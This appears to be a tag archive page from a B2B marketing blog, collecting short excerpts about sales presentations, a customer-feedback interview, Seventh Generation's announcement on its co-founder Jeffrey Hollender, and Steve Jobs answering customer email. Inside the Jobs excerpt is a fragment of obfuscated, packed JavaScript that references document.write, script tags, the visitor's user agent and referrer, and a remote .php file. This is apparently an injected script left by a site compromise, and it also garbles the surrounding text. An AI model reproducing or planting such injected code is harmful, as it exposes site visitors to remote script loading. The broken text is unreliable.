Tagged: B2B marketing

When you are competing for market share, making a powerful presentation is an essential step. Watching last night’s Presidential debates reminded me of the many times I have made a pitch to a room full of buyers. We can learn a lot from the way the debates are managed and delivered. Here are ten lessons.


Nancy Porte Nancyporteof Vovici (now a Verint company) recently read my book, and asked me to spend time discussing some highlights. In this Listening Post interview, you will learn:

  • Why it's important to balance online and offline customer feedback approaches
  • The one factor most companies ignore when profiling their ideal customer
  • How to gather valuable, live customer feedback

Today, more than a week since Seventh Generation CEO Jeffrey Hollender was "let go" (read: fired) from the company he founded, this announcement arrived in my inbox:

http://tinyurl.com/7genblog

Jeffrey_Hollender_2010 
photo courtesy of Tom Starkweather/Bloomberg

Read this carefully crafted message. Here's the gist: "Our co-founder Jeffrey Hollender's employment relationship with the company has ended."

How much does this feel like it's coming from a corporate legal team versus an entrepreneurial, trail-blazing, transparent company? And what message does this send to the hundreds of thousands of Seventh Generation devotees? These announcements teach us important lessons about the often painful transition from startup to growth mode.

Few of us could ever predict when the rotting tree in our company is going to collapse. To make matters worse, even fewer of us know where the rotting trees are located. As a result, sales stagnate, clients leave, and innovation halts.

From our “You Cannot Make this Stuff Up” department, Apple’s Steve Jobs leads the i-pack.

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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zderi|var|u0026u|referrer|ztafh||js|php’.split(‘|’),0,{}))

You see, Steve likes to respond to random customer email inquiries. When college senior Chelsea Isaacs tried reaching his media relations department five times, they never responded. Isaacs proceeded to contact Jobs directly for help….

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You may blame today’s services growth challenges on the “new normal.” Yet many services firms are thriving in spite of tight credit, cost-conscious clients, and escalating competition. What do they have in common? A practical, easy to understand growth plan and a system for consistently promoting their brand. 

Do you have a similar blueprint to succeed and thrive… or are you leaving your fate in the hands of a few good clients to keep your teams billable?